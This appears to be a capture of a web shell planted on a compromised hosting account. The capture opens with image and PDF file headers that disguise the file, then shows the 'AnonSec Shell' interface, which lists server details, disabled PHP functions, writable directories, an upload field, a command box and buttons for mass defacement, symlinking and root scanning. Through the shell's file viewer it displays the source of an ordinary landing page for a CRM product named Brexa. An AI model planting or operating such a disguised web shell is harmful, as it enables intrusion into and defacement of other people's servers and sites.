ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 82.197.83.129  /  Your IP : 216.73.216.166   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u489457460 ( 489457460)
PHP Version : 7.3.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u489457460/domains/kuuv.app/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/u489457460/domains/kuuv.app/public_html/index-copy.php
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <meta name="description" content="">
  <meta name="keywords" content="">
  <meta name="author" content="">
  <link rel="shortcut icon" type="image/x-icon" href="assets/imgs/template/favicon.svg">
  <link href="assets/css/style.css?v=4.0.0" rel="stylesheet">
  <title>Brexa</title>

<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-KSTW9K3TDJ"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'G-KSTW9K3TDJ');
</script>

  <!-- Meta Pixel Code -->
  <script>
    ! function(f, b, e, v, n, t, s) {
      if (f.fbq) return;
      n = f.fbq = function() {
        n.callMethod ?
          n.callMethod.apply(n, arguments) : n.queue.push(arguments)
      };
      if (!f._fbq) f._fbq = n;
      n.push = n;
      n.loaded = !0;
      n.version = '2.0';
      n.queue = [];
      t = b.createElement(e);
      t.async = !0;
      t.src = v;
      s = b.getElementsByTagName(e)[0];
      s.parentNode.insertBefore(t, s)
    }(window, document, 'script',
      'https://connect.facebook.net/en_US/fbevents.js');
    fbq('init', '668013972120258');
    fbq('track', 'PageView');
  </script>
  <noscript><img height="1" width="1" style="display:none" src="https://www.facebook.com/tr?id=668013972120258&ev=PageView&noscript=1" /></noscript>
  <!-- End Meta Pixel Code -->

</head>

<body>
  <div id="preloader-active">
    <div class="preloader d-flex align-items-center justify-content-center">
      <div class="preloader-inner position-relative">
        <div class="page-loading">
          <div class="page-loading-inner">
            <div></div>
            <div></div>
            <div></div>
          </div>
        </div>
      </div>
    </div>
  </div>
  <div class="box-top-notify-homepage2">
    <div class="box-notify bg-brand-1">
      <div class="container position-relative">
        <div class="box-container-sw">
          <div class="box-button-slider">
            <div class="swiper-button-prev swiper-button-prev-notify">
              <svg class="w-6 h-6" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10 19l-7-7m0 0l7-7m-7 7h18">
                </path>
              </svg>
            </div>
            <div class="swiper-button-next swiper-button-next-notify">
              <svg class="w-6 h-6" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3">
                </path>
              </svg>
            </div>
          </div>
          <div class="box-swiper">
            <div class="swiper-container swiper-notify">
              <div class="swiper-wrapper">
                <div class="swiper-slide"><span class="d-inline-block color-brand-2">Integrate your business
                    with Brexa to grow </span></div>
                <div class="swiper-slide"><span class="d-inline-block color-brand-2">Book a live session with
                    our experts !</span></div>
                <!-- <div class="swiper-slide"><span class="d-inline-block color-brand-2">Black Friday and Cyber
                    Monday 2022 Deals for Motion Designers, grab it now!</span></div> -->
              </div>
            </div>
          </div>
        </div>
      </div><a class="btn btn-close">
        <svg class="w-6 h-6" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
          <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"></path>
        </svg></a>
    </div>
  </div>

  <!--header section start-->
  <?php include 'header.php'; ?>
  <!--header section End-->


  <main class="main">
    <section class="section banner-2">
      <div class="container-fluid">
        <div class="banner-1">
          <div class="row justify-content-center align-items-center">
            <div class=" col-lg-5 offset-lg-1">
              <h2 class="color-brand-1 mb-20">10X your Business Growth <div class="text-gradient-primary">
                  <!-- <span class="type-init"
                    data-strings='"AI Powered Bot", "Appointments and Meetings", "Modern Sales CRM", "Customisable Pipeline", "Mobile App Client Portal", "Omni Channel Chat", "AI Powered Automation", "Webforms", "Smart Pop ups & More"'></span> -->
                  <span class="typed-text"></span><span class="cursor">&nbsp;</span>
                </div>
              </h2>
              <!-- <h2 class="color-brand-1 mb-20">Super Charge your Business with Brexa <div class="text-gradient-primary">
                  <span class="typed-text"></span><span class="cursor">&nbsp;</span>
                </div>
              </h2> -->
              <!-- <h1 class="color-brand-1 mb-20">Brexa dashboard will help your payments fast and secure</h1> -->
              <div class="row">
                <div class="col-lg-9">
                  <p class="font-md color-grey-500">The complete client Experience Platform designed to offer clients
                    access to all your business services from their smartphones</p>
                </div>
              </div>
              <div class="mt-30">
                <!-- <h5 class="color-brand-1">Available on</h5> -->
                <div class="row">
                  <div class="col-lg-3 "> <span class="item-tick color-brand-1 ">No-code builder</span></div>
                  <div class="col-lg-3 "> <span class="item-tick color-brand-1">14-day free trial</span></div>
                  <div class="col-lg-6 "> <span class="item-tick color-brand-1">No credit card required</span>
                  </div>
                </div>
                <!-- <ul class="d-flex list-ticks1">
                  <li>
                    <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24"
                      xmlns="http://www.w3.org/2000/svg">
                      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                        d="M9 12l2 2 4-4M7.835 4.697a3.42 3.42 0 001.946-.806 3.42 3.42 0 014.438 0 3.42 3.42 0 001.946.806 3.42 3.42 0 013.138 3.138 3.42 3.42 0 00.806 1.946 3.42 3.42 0 010 4.438 3.42 3.42 0 00-.806 1.946 3.42 3.42 0 01-3.138 3.138 3.42 3.42 0 00-1.946.806 3.42 3.42 0 01-4.438 0 3.42 3.42 0 00-1.946-.806 3.42 3.42 0 01-3.138-3.138 3.42 3.42 0 00-.806-1.946 3.42 3.42 0 010-4.438 3.42 3.42 0 00.806-1.946 3.42 3.42 0 013.138-3.138z">
                      </path>
                    </svg>
                    No-code builder
                  </li>
                  <li><svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24"
                      xmlns="http://www.w3.org/2000/svg">
                      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                        d="M9 12l2 2 4-4M7.835 4.697a3.42 3.42 0 001.946-.806 3.42 3.42 0 014.438 0 3.42 3.42 0 001.946.806 3.42 3.42 0 013.138 3.138 3.42 3.42 0 00.806 1.946 3.42 3.42 0 010 4.438 3.42 3.42 0 00-.806 1.946 3.42 3.42 0 01-3.138 3.138 3.42 3.42 0 00-1.946.806 3.42 3.42 0 01-4.438 0 3.42 3.42 0 00-1.946-.806 3.42 3.42 0 01-3.138-3.138 3.42 3.42 0 00-.806-1.946 3.42 3.42 0 010-4.438 3.42 3.42 0 00.806-1.946 3.42 3.42 0 013.138-3.138z">
                      </path>
                    </svg>
                    14-day free trial</li>
                  <li><svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24"
                      xmlns="http://www.w3.org/2000/svg">
                      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                        d="M9 12l2 2 4-4M7.835 4.697a3.42 3.42 0 001.946-.806 3.42 3.42 0 014.438 0 3.42 3.42 0 001.946.806 3.42 3.42 0 013.138 3.138 3.42 3.42 0 00.806 1.946 3.42 3.42 0 010 4.438 3.42 3.42 0 00-.806 1.946 3.42 3.42 0 01-3.138 3.138 3.42 3.42 0 00-1.946.806 3.42 3.42 0 01-4.438 0 3.42 3.42 0 00-1.946-.806 3.42 3.42 0 01-3.138-3.138 3.42 3.42 0 00-.806-1.946 3.42 3.42 0 010-4.438 3.42 3.42 0 00.806-1.946 3.42 3.42 0 013.138-3.138z">
                      </path>
                    </svg>
                    No credit card required
                  </li>
                </ul> -->
              </div>
              <div class="row align-items-center mt-60">
                <div class="col-md-2 col-xl-2 col-3">

                  <img src="assets/imgs/page/homepage2/card1.png" width="120">
                  <!-- .card -->
                </div><!-- .col -->
                <div class="col-md-2 col-xl-2 col-3">

                  <img src="assets/imgs/page/homepage2/card2.svg" width="120">
                  <!-- .card -->
                </div><!-- .col -->
                <div class="col-md-2 col-xl-2 col-3">

                  <img src="assets/imgs/page/homepage2/card3.png" width="120">
                  <!-- .card -->
                </div><!-- .col -->
                <div class="col-md-2 col-xl-2 col-3">

                  <img src="assets/imgs/page/homepage2/card4.png" width="120">
                  <!-- .card -->
                </div><!-- .col -->
              </div><!-- .row -->
              <!-- <div class="box-button mt-20"> <a class="btn-app mb-15 hover-up" href="#"> <img
                    src="assets/imgs/template/appstore-btn.png" alt="Brexa"></a><a class="btn-app mb-15 hover-up"
                  href="#"> <img src="assets/imgs/template/google-play-btn.png" alt="Brexa"></a><a
                  class="btn btn-default mb-15 pl-10 font-sm-bold hover-up" href="#">
                  Learn More
                  <svg class="w-6 h-6 icon-16 ml-5" fill="none" stroke="currentColor" viewbox="0 0 24 24"
                    xmlns="http://www.w3.org/2000/svg">
                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3">
                    </path>
                  </svg></a></div> -->
            </div>
            <div class="col-lg-6 d-none d-lg-block">
              <img src="assets/imgs/page/homepage2/Landing-page-image.png" alt="Brexa">
              <!-- <img src="assets/imgs/page/homepage2/gif.gif" width="700" alt="Brexa"> -->


              <!-- <object type="image/svg+xml" data="assets/imgs/page/homepage2/gif-homepage-crm-activity-capture-rebranding.svg"></object> -->


            </div>
          </div>
        </div>
      </div>
    </section>
    <section class="section mt-50 mb-50">
      <div class="container">
        <div class="text-center">
          <h2 class="color-brand-1 mb-15">Loved by 1000+ <br>Businesses across the world</h2>
          <p class="font-lg color-grey-500">Take the first step towards improving your business efficiency and join
            the<br class="d-none d-lg-block">growing number of businesses that have chosen Brexa.</p>
        </div>
        <div class="mt-60">
          <div class="box-swiper pager-style-2">
            <div class="swiper-container swiper-group-8">
              <div class="swiper-wrapper">
                <div class="swiper-slide"><img src="assets/imgs/page/homepage2/carz_logo.png" width="100" alt="Brexa">
                </div>
                <div class="swiper-slide"><img src="assets/imgs/page/homepage2/ethniqs.png" width="100" alt="Brexa">
                </div>
                <div class="swiper-slide"><img src="assets/imgs/page/homepage2/invences-logo.png" width="100" alt="Brexa"></div>
                <div class="swiper-slide"><img src="assets/imgs/page/homepage2/luushy.png" width="100" alt="Brexa">
                </div>
                <div class="swiper-slide"><img src="assets/imgs/page/homepage2/mps.png" width="100" alt="Brexa"></div>
                <div class="swiper-slide"><img src="assets/imgs/page/homepage2/pobyte.png" width="100" alt="Brexa">
                </div>
                <div class="swiper-slide"><img src="assets/imgs/page/homepage2/sritech-logo.png" width="100" alt="Brexa">
                </div>
                <div class="swiper-slide"><img src="assets/imgs/page/homepage2/syoft-logo.png" width="100" alt="Brexa">
                </div>
                <div class="swiper-slide"><img src="assets/imgs/page/homepage2/zepul-logo.png" width="100" alt="Brexa">
                </div>
              </div>
              <div class="swiper-pagination swiper-pagination-group-8"></div>
            </div>
          </div>
        </div>
      </div>
    </section>

    
    <section class="section mt-100"> 
        <div class="container"> 
            <div class="text-center">
              <!-- <h3 class="color-brand-1 mb-75">Complete Business OS for your service business</h3> -->
              <h3 class="color-brand-1 mb-15 title">Everything You Need.</h3>
                <p>Software that has it all, and then some.</p>
            </div>
          <div class="row mt-50 align-items-center justify-con text-center"> 
            <!--<div class="col-lg-6 mb-30"> -->
            <!--  <div class="title-line mb-10">What We Do, What You Get</div>-->
            <!--  <h2 class="color-brand-1">We facilitate the creation of strategy and design</h2>-->
            <!--</div>-->
            <div class="col-lg-6"> 
              <div class="card-offer card-we-do hover-up">
                <!--<div class="card-image"><img src="assets/imgs/page/homepage2/we-do3.png" alt="iori"></div>-->
                <div class="card-info">
                  <h4 class="color-brand-1 mb-10"><a class="color-brand-1" href=".">Mobile App Builder</a></h4>
                  <p class="font-md color-grey-500 mb-5">Your site is not complete with only landings. Get essential inner pages using our ready demos.</p>
                  <!--<div class="box-button-offer"><a class="btn btn-default font-sm-bold pl-0 color-brand-1">Learn More-->
                  <!--    <svg class="w-6 h-6 icon-16 ml-5" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
                  <!--      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>-->
                  <!--    </svg></a></div>-->
                </div>
              </div>
            </div>
            <div class="col-lg-6">
              <div class="card-offer card-we-do hover-up">
                <!--<div class="card-image"><img src="assets/imgs/page/homepage2/we-do.png" alt="iori"></div>-->
                <div class="card-info">
                  <h4 class="color-brand-1 mb-10"><a class="color-brand-1" href="">AI Conversational Chat Bot/Team chats/Livechats</a></h4>
                  <p class="font-md color-grey-500 mb-5">Your site is not complete with only landings. Get essential inner pages using our ready demos.</p>
                  
                </div>
              </div>
            </div>
            <div class="col-lg-6"> 
              <div class="card-offer card-we-do hover-up">
                <!--<div class="card-image"><img src="assets/imgs/page/homepage2/we-do4.png" alt="iori"></div>-->
                <div class="card-info">
                  <h4 class="color-brand-1 mb-10"><a class="color-brand-1" href="">Marketing Automation</a></h4>
                  <p class="font-md color-grey-500 mb-5">Your site is not complete with only landings. Get essential inner pages using our ready demos.</p>
                  <!--<div class="box-button-offer"><a class="btn btn-default font-sm-bold pl-0 color-brand-1">Learn More-->
                  <!--    <svg class="w-6 h-6 icon-16 ml-5" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
                  <!--      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>-->
                  <!--    </svg></a></div>-->
                </div>
              </div>
            </div>
            <div class="col-lg-6"> 
              <div class="card-offer card-we-do hover-up">
                <!--<div class="card-image"><img src="assets/imgs/page/homepage2/we-do2.png" alt="iori"></div>-->
                <div class="card-info">
                  <h4 class="color-brand-1 mb-10"><a class="color-brand-1" href="">Manage budgets and resources</a></h4>
                  <p class="font-md color-grey-500 mb-5">Your site is not complete with only landings. Get essential inner pages using our ready demos.</p>
                  <!--<div class="box-button-offer"><a class="btn btn-default font-sm-bold pl-0 color-brand-1">Learn More-->
                  <!--    <svg class="w-6 h-6 icon-16 ml-5" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
                  <!--      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>-->
                  <!--    </svg></a></div>-->
                </div>
              </div>
            </div>
            <div class="col-lg-6"> 
              <div class="card-offer card-we-do hover-up">
                <!--<div class="card-image"><img src="assets/imgs/page/homepage2/we-do5.png" alt="iori"></div>-->
                <div class="card-info">
                  <h4 class="color-brand-1 mb-10"><a class="color-brand-1" href="">Nurture/Sales Automations</a></h4>
                  <p class="font-md color-grey-500 mb-5">Your site is not complete with only landings. Get essential inner pages using our ready demos.</p>
                  <!--<div class="box-button-offer"><a class="btn btn-default font-sm-bold pl-0 color-brand-1">Learn More-->
                  <!--    <svg class="w-6 h-6 icon-16 ml-5" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
                  <!--      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>-->
                  <!--    </svg></a></div>-->
                </div>
              </div>
            </div>
            <div class="col-lg-6"> 
              <div class="card-offer card-we-do hover-up">
                <!--<div class="card-image"><img src="assets/imgs/page/homepage2/we-do5.png" alt="iori"></div>-->
                <div class="card-info">
                  <h4 class="color-brand-1 mb-10"><a class="color-brand-1" href="">Sell Products/Services</a></h4>
                  <p class="font-md color-grey-500 mb-5">Your site is not complete with only landings. Get essential inner pages using our ready demos.</p>
                  <!--<div class="box-button-offer"><a class="btn btn-default font-sm-bold pl-0 color-brand-1">Learn More-->
                  <!--    <svg class="w-6 h-6 icon-16 ml-5" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
                  <!--      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>-->
                  <!--    </svg></a></div>-->
                </div>
              </div>
            </div>
            <div class="col-lg-6"> 
              <div class="card-offer card-we-do hover-up">
                <!--<div class="card-image"><img src="assets/imgs/page/homepage2/we-do5.png" alt="iori"></div>-->
                <div class="card-info">
                  <h4 class="color-brand-1 mb-10"><a class="color-brand-1" href="">Pipelines/Process Builder</a></h4>
                  <p class="font-md color-grey-500 mb-5">Your site is not complete with only landings. Get essential inner pages using our ready demos.</p>
                  <!--<div class="box-button-offer"><a class="btn btn-default font-sm-bold pl-0 color-brand-1">Learn More-->
                  <!--    <svg class="w-6 h-6 icon-16 ml-5" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
                  <!--      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>-->
                  <!--    </svg></a></div>-->
                </div>
              </div>
            </div>
            <div class="col-lg-6"> 
              <div class="card-offer card-we-do hover-up">
                <!--<div class="card-image"><img src="assets/imgs/page/homepage2/we-do5.png" alt="iori"></div>-->
                <div class="card-info">
                  <h4 class="color-brand-1 mb-10"><a class="color-brand-1" href="">Sales CRM/Client or Service/project management</a></h4>
                  <p class="font-md color-grey-500 mb-5">Your site is not complete with only landings. Get essential inner pages using our ready demos.</p>
                  <!--<div class="box-button-offer"><a class="btn btn-default font-sm-bold pl-0 color-brand-1">Learn More-->
                  <!--    <svg class="w-6 h-6 icon-16 ml-5" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
                  <!--      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>-->
                  <!--    </svg></a></div>-->
                </div>
              </div>
            </div>
            <div class="col-lg-6"> 
              <div class="card-offer card-we-do hover-up">
                <!--<div class="card-image"><img src="assets/imgs/page/homepage2/we-do5.png" alt="iori"></div>-->
                <div class="card-info">
                  <h4 class="color-brand-1 mb-10"><a class="color-brand-1" href="">Webforms/Smartforms/Smart pop ups</a></h4>
                  <p class="font-md color-grey-500 mb-5">Your site is not complete with only landings. Get essential inner pages using our ready demos.</p>
                  <!--<div class="box-button-offer"><a class="btn btn-default font-sm-bold pl-0 color-brand-1">Learn More-->
                  <!--    <svg class="w-6 h-6 icon-16 ml-5" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
                  <!--      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>-->
                  <!--    </svg></a></div>-->
                </div>
              </div>
            </div>
            <div class="col-lg-6"> 
              <div class="card-offer card-we-do hover-up">
                <!--<div class="card-image"><img src="assets/imgs/page/homepage2/we-do5.png" alt="iori"></div>-->
                <div class="card-info">
                  <h4 class="color-brand-1 mb-10"><a class="color-brand-1" href="">Appointment/Meeting Scheduler</a></h4>
                  <p class="font-md color-grey-500 mb-5">Your site is not complete with only landings. Get essential inner pages using our ready demos.</p>
                  <!--<div class="box-button-offer"><a class="btn btn-default font-sm-bold pl-0 color-brand-1">Learn More-->
                  <!--    <svg class="w-6 h-6 icon-16 ml-5" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
                  <!--      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>-->
                  <!--    </svg></a></div>-->
                </div>
              </div>
            </div>
            <div class="col-lg-6"> 
              <div class="card-offer card-we-do hover-up">
                <!--<div class="card-image"><img src="assets/imgs/page/homepage2/we-do5.png" alt="iori"></div>-->
                <div class="card-info">
                  <h4 class="color-brand-1 mb-10"><a class="color-brand-1" href="">Invoices</a></h4>
                  <p class="font-md color-grey-500 mb-5">Your site is not complete with only landings. Get essential inner pages using our ready demos.</p>
                  <!--<div class="box-button-offer"><a class="btn btn-default font-sm-bold pl-0 color-brand-1">Learn More-->
                  <!--    <svg class="w-6 h-6 icon-16 ml-5" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
                  <!--      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>-->
                  <!--    </svg></a></div>-->
                </div>
              </div>
            </div>
            <div class="col-lg-6"> 
              <div class="card-offer card-we-do hover-up">
                <!--<div class="card-image"><img src="assets/imgs/page/homepage2/we-do5.png" alt="iori"></div>-->
                <div class="card-info">
                  <h4 class="color-brand-1 mb-10"><a class="color-brand-1" href="">AI Employees(For Support & Sales)-Coming soon</a></h4>
                  <p class="font-md color-grey-500 mb-5">Your site is not complete with only landings. Get essential inner pages using our ready demos.</p>
                  <!--<div class="box-button-offer"><a class="btn btn-default font-sm-bold pl-0 color-brand-1">Learn More-->
                  <!--    <svg class="w-6 h-6 icon-16 ml-5" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
                  <!--      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>-->
                  <!--    </svg></a></div>-->
                </div>
              </div>
            </div>
          </div>
          <!--<div class="box-button text-center mt-10"> <a class="btn btn-brand-1 hover-up" href="#">Download App</a><a class="btn btn-default font-sm-bold hover-up" href="#">-->
          <!--     Learn More-->
          <!--    <svg class="w-6 h-6 icon-16 ml-5" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
          <!--      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>-->
          <!--    </svg></a></div>-->
        </div>
      </section>


    <!-- <section class="section mt-100">
      <div class="container">
        <div class="text-center">
          <h2 class="color-brand-1 mb-30 title">
            <span class="text-shape">Powerful
              <svg width="243" height="35" viewBox="0 0 243 35" fill="none" xmlns="http://www.w3.org/2000/svg">
                <path d="M2 13.0328C32.4961 7.38981 122.991 -2.20328 241 4.56831" stroke="#FDB52A" stroke-width="4"
                  stroke-linecap="round"></path>
                <path d="M64.9152 15.5249C87.022 10.8533 152.77 2.09709 238.906 4.44526" stroke="#FDB52A"
                  stroke-width="4" stroke-linecap="round"></path>
                <path d="M65.012 16.4264C87.692 13.3239 154.306 10.8944 239.322 25.9959" stroke="#FDB52A"
                  stroke-width="4" stroke-linecap="round"></path>
              </svg>
            </span> Features to Supercharge Your Business
          </h2>
        </div>
        <div class="row justify-content-center text-center">
          <div class="col-lg-10 col-xl-10 col-xxl-10">
            <div class="overflow-hidden">
              <ul class="nav nav-tabs nav-tabs-stretch mb-5 border-bottom-0">
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#chatbot-builder">
                    <span>Chatbot Builder</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#sales-crm">
                    <span>Sales CRM</span>
                  </div>
                </li>
                <li class=" ">
                  <div class="nav-link " data-bs-toggle="tab" data-bs-target="#branded-scheduling-portal"><span>Branded
                      Scheduling
                      Portal</span></div>
                </li>
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#omni-channel"><span>Omni
                      Channel</span></div>
                </li>
                <li class="">
                  <div class="nav-link " data-bs-toggle="tab" data-bs-target="#live-chat">
                    <span>Live Chat</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#web-forms">
                    <span>Web Forms</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link " data-bs-toggle="tab" data-bs-target="#customisable-pipelines">
                    <span>Customisable
                      Pipelines</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#appointment-scheduler">
                    <span>Appointment
                      Scheduler</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link " data-bs-toggle="tab" data-bs-target="#meeting-scheduler">
                    <span>Meeting Scheduler</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link " data-bs-toggle="tab" data-bs-target="#2way-calender"><span>2 Way
                      Calendar Sync</span></div>
                </li>
                <li class="">
                  <div class="nav-link " data-bs-toggle="tab" data-bs-target="#client-management">
                    <span>Client & Project
                      Management</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#mobile-widget">
                    <span>Mobile App Widget</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#client-portal-invoice">
                    <span>Client Portal</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#campaigns">
                    <span>Campaigns</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#customisable-task-management">
                    <span>Customisable Task
                      management</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#knowledge-base-announcements">
                    <span>Knowledge Base
                      Announcements</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#collaboration">
                    <span>Collaboration</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#invoice">
                    <span>Invoice</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link " data-bs-toggle="tab" data-bs-target="#team-chats">
                    <span>Team Chats</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#smart-popups"><span>Smart
                      Pop ups</span></div>
                </li>
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#push-notfications">
                    <span>Push Notifications</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#payments">
                    <span>Payments</span>
                  </div>
                </li>
                <li class="">
                  <div class="nav-link" data-bs-toggle="tab" data-bs-target="#automation">
                    <span>Automation</span>
                  </div>
                </li>
              </ul>
            </div>
          </div>
        </div>
      </div>
    </section> -->


    <!-- <div class="section">
      <div class="container">
        <div class="box-radius-logo">
          <div class="text-center">
            <p class="font-lg color-brand-1">Loved By Developers, Trusted By Enterprises</p>
          </div>
          <div class="mt-30">
            <ul class="list-partners">
              <li><img src="assets/imgs/page/homepage1/placed.png" alt="Brexa"></li>
              <li><img src="assets/imgs/page/homepage1/cuebiq.png" alt="Brexa"></li>
              <li><img src="assets/imgs/page/homepage1/factual.png" alt="Brexa"></li>
              <li><img src="assets/imgs/page/homepage1/placeiq.png" alt="Brexa"></li>
              <li><img src="assets/imgs/page/homepage1/airmeet.png" alt="Brexa"></li>
              <li><img src="assets/imgs/page/homepage1/spen.png" alt="Brexa"></li>
              <li><img src="assets/imgs/page/homepage1/klippa.png" alt="Brexa"></li>
              <li><img src="assets/imgs/page/homepage2/reed.png" alt="Brexa"></li>
              <li><img src="assets/imgs/page/homepage2/vuori.png" alt="Brexa"></li>
              <li><img src="assets/imgs/page/homepage2/versed.png" alt="Brexa"></li>
              <li><img src="assets/imgs/page/homepage1/matrix.png" alt="Brexa"></li>
              <li><img src="assets/imgs/page/homepage1/klippa.png" alt="Brexa"></li>
              <li><img src="assets/imgs/page/homepage1/factual.png" alt="Brexa"></li>
            </ul>
          </div>
        </div>
      </div>
    </div> -->

    <!--<section class="section mt-100 mb-0 bg-brand-3 pb-50 pt-50 bg-explore">-->
    <!--  <div class="container">-->
    <!--    <div class="row align-items-center">-->
    <!--      <div class="col-xl-6 col-lg-6">-->
    <!--        <div class="box-images-project">-->
    <!--          <img class="bd-rd16" src="assets/imgs/page/homepage2/All-Bot-services1.png" alt="Brexa">-->
    <!--        </div>-->
    <!--      </div>-->
    <!--      <div class="col-xl-6 col-lg-6">-->
    <!--        <h2 class="color-brand-1 mb-30 mt-15">Make all your Services & <br>Products Accessible-->
    <!--        </h2>-->
    <!--        <div class="mt-30 mb-60">-->
    <!--          <ul class="list-buttons text-start list-buttons-circle nav nav-tabs" role="tablist">-->
    <!--            <li> <a class="active" href="#tab-explore-1" data-bs-toggle="tab" role="tab" aria-controls="tab-explore-1" aria-selected="true">Sell your services & Products</a></li>-->
    <!--            <li> <a href="#tab-explore-2" data-bs-toggle="tab" role="tab" aria-controls="tab-explore-2" aria-selected="true">Appointment Scheduler</a></li>-->
    <!--            <li> <a href="#tab-explore-3" data-bs-toggle="tab" role="tab" aria-controls="tab-explore-3" aria-selected="true">AI Bot Support & Live Agents</a></li>-->
